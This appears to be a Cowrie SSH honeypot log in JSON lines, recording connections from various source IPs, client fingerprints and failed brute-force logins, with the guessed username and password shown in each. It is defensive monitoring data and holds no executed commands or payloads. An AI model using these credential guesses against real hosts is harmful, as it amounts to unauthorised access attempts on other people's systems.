{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:16.744891Z","src_ip":"103.149.28.157","session":"7ec2a87b4202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:30.478772Z","src_ip":"103.210.22.17","session":"fff5a6e47c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":41702,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6856d0e529d","protocol":"ssh","message":"New connection: 103.210.22.17:41702 (159.203.135.109:22) [session: e6856d0e529d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:30.903318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:30.910121Z","src_ip":"103.210.22.17","session":"e6856d0e529d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.85.192","src_port":35274,"dst_ip":"10.17.0.5","dst_port":22,"session":"444dd1b160d3","protocol":"ssh","message":"New connection: 161.35.85.192:35274 (10.17.0.5:22) [session: 444dd1b160d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:31.744703Z"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:31.771669Z","src_ip":"103.210.22.17","session":"e6856d0e529d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:31.818539Z","src_ip":"161.35.85.192","session":"444dd1b160d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:31.824126Z","src_ip":"161.35.85.192","session":"444dd1b160d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.85.192","src_port":35286,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5a1cde186d","protocol":"ssh","message":"New connection: 161.35.85.192:35286 (10.17.0.5:22) [session: 7f5a1cde186d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:31.980857Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:32.077602Z","src_ip":"161.35.85.192","session":"7f5a1cde186d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:32.085169Z","src_ip":"161.35.85.192","session":"7f5a1cde186d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:32.420274Z","src_ip":"103.210.22.17","session":"e6856d0e529d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":45480,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfe5277a6864","protocol":"ssh","message":"New connection: 79.3.96.178:45480 (10.17.0.5:22) [session: bfe5277a6864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:32.549417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:32.555225Z","src_ip":"79.3.96.178","session":"bfe5277a6864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:32.685155Z","src_ip":"79.3.96.178","session":"bfe5277a6864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sandbox","message":"login attempt [root/sandbox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:33.239688Z","src_ip":"79.3.96.178","session":"bfe5277a6864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:33.706448Z","src_ip":"103.210.22.17","session":"e6856d0e529d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":45128,"dst_ip":"159.203.135.109","dst_port":22,"session":"5503c3314283","protocol":"ssh","message":"New connection: 103.210.22.17:45128 (159.203.135.109:22) [session: 5503c3314283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:33.915293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:33.919721Z","src_ip":"103.210.22.17","session":"5503c3314283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:34.133110Z","src_ip":"103.210.22.17","session":"5503c3314283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:34.370050Z","src_ip":"79.3.96.178","session":"bfe5277a6864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:34.784637Z","src_ip":"103.210.22.17","session":"5503c3314283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:36.005277Z","src_ip":"103.210.22.17","session":"5503c3314283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":47996,"dst_ip":"159.203.135.109","dst_port":22,"session":"4301ed3a6c2c","protocol":"ssh","message":"New connection: 103.210.22.17:47996 (159.203.135.109:22) [session: 4301ed3a6c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:36.213991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:36.219955Z","src_ip":"103.210.22.17","session":"4301ed3a6c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:36.700569Z","src_ip":"103.210.22.17","session":"4301ed3a6c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:37.342853Z","src_ip":"103.210.22.17","session":"4301ed3a6c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60896,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb7786437d0","protocol":"ssh","message":"New connection: 37.233.85.71:60896 (159.203.135.109:22) [session: 6bb7786437d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.327416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.332730Z","src_ip":"37.233.85.71","session":"6bb7786437d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.438509Z","src_ip":"37.233.85.71","session":"6bb7786437d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.559253Z","src_ip":"103.210.22.17","session":"4301ed3a6c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456x","message":"login attempt [root/123456x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.753686Z","src_ip":"37.233.85.71","session":"6bb7786437d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":51522,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a69969b694c","protocol":"ssh","message":"New connection: 103.210.22.17:51522 (159.203.135.109:22) [session: 7a69969b694c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.770871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:38.775210Z","src_ip":"103.210.22.17","session":"7a69969b694c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:39.870149Z","src_ip":"37.233.85.71","session":"6bb7786437d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":42484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5f6a02a941e","protocol":"ssh","message":"New connection: 94.159.98.239:42484 (10.17.0.5:22) [session: a5f6a02a941e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:46.400948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:46.453093Z","src_ip":"94.159.98.239","session":"a5f6a02a941e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:46.573570Z","src_ip":"94.159.98.239","session":"a5f6a02a941e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nnnnnn","message":"login attempt [root/nnnnnn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:47.151959Z","src_ip":"94.159.98.239","session":"a5f6a02a941e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:48.391288Z","src_ip":"94.159.98.239","session":"a5f6a02a941e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:49.245050Z","src_ip":"103.210.22.17","session":"7a69969b694c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:49.891559Z","src_ip":"103.210.22.17","session":"7a69969b694c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:00:51.115247Z","src_ip":"103.210.22.17","session":"7a69969b694c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59016,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e8df375074","protocol":"ssh","message":"New connection: 80.94.92.184:59016 (10.17.0.5:22) [session: 92e8df375074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:01.888842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:01.975560Z","src_ip":"80.94.92.184","session":"92e8df375074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:02.092399Z","src_ip":"80.94.92.184","session":"92e8df375074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:02.981173Z","src_ip":"80.94.92.184","session":"92e8df375074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:04.096902Z","src_ip":"80.94.92.184","session":"92e8df375074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.176.31.157","src_port":21976,"dst_ip":"10.17.0.5","dst_port":22,"session":"49fd68ecd7ff","protocol":"ssh","message":"New connection: 193.176.31.157:21976 (10.17.0.5:22) [session: 49fd68ecd7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:01:17.072834Z"}
